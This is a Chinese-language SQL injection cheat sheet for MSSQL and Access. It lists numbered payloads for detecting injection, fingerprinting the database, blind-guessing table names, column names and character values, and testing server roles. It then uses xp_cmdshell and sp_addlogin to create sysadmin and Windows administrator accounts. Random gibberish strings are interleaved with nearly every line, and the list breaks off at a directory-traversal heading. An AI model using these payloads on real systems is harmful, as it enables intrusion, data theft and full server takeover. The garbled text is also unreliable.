1.判断是否有注入;and 1=1 ;and 1=2 NHF?73:
2.初步判断是否是mssql ;and user>0 QA(,K}z~^S
,f+5x]F?m
3.注入参数是字符'and [查询条件] and ''=' 1#<E]<='t
w0!,1
Ry
4.搜索时没过滤参数的'and [查询条件] and '%25'=' hI8C XG
g4X,*H
5.判断数据库系统 #U}U>4'
,no:6
;and (select count(*) from sysobjects)>0 mssql WLLv a<{
$hQg+nY.
;and (select count(*) from msysobjects)>0 access Snu;5:R
DV\ei")
g8"7wf`0k
+_dYfux
6.猜数据库 ;and (select Count(*) from [数据库名])>0 \xxVDr.
i 8Xz
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 '[8b0\
:gq@/COo(
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 o
z{j2%
{ NJ>[mKg
9.(1)猜字段的ascii值(access) v`BG1&/|
Bed jw =B
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ]P$DAi
<\g&%c,
(2)猜字段的ascii值(mssql) ~,68S^nP)H
CJixK>Y^
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ~bTae =FP
;x^,t@ xge
10.测试权限结构(mssql) S\5k'ifh
+[/r^C
NCFV
y
UAn~!s
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ue"?S6
';,Bn9rv
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- {7>CA'>
Q;O)>K
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ~x"79=!W
Rl4zTAI
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- c/Yi0Rl)
WnzPPh3PJ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- JvL'gJ$70
)K>@$6H+2
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- q{/Jw"e
5Y=\~,%\oH
;and 1=(select IS_MEMBER('db_owner'));-- Gc!8v}[7J
s;7qNwYO
:V~*vLvR
c dbSv=r
11.添加mssql和系统的帐户 wrYQ=u#Z
rDX'oP:
;exec master.dbo.sp_addlogin username;-- v-fi9$#^
;exec master.dbo.sp_password null,username,password;-- o`mIi
hO.G'q$V
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- d5"EvT
8]":[s6x
;exec master.dbo.xp_cmdshell 'net user username password P`dHR;Y0
@) ZO$h
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- RIEv*2_O
1bZiPG{
;exec master.dbo.xp_cmdshell 'net user username password /add';-- pptM&Y
MlK`sH6
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- zWs*kTtA
qf`xH"$
` u\z!x'
!NLvo_[Y
12.(1)遍历目录 DsJn#>?Kh
yCCw<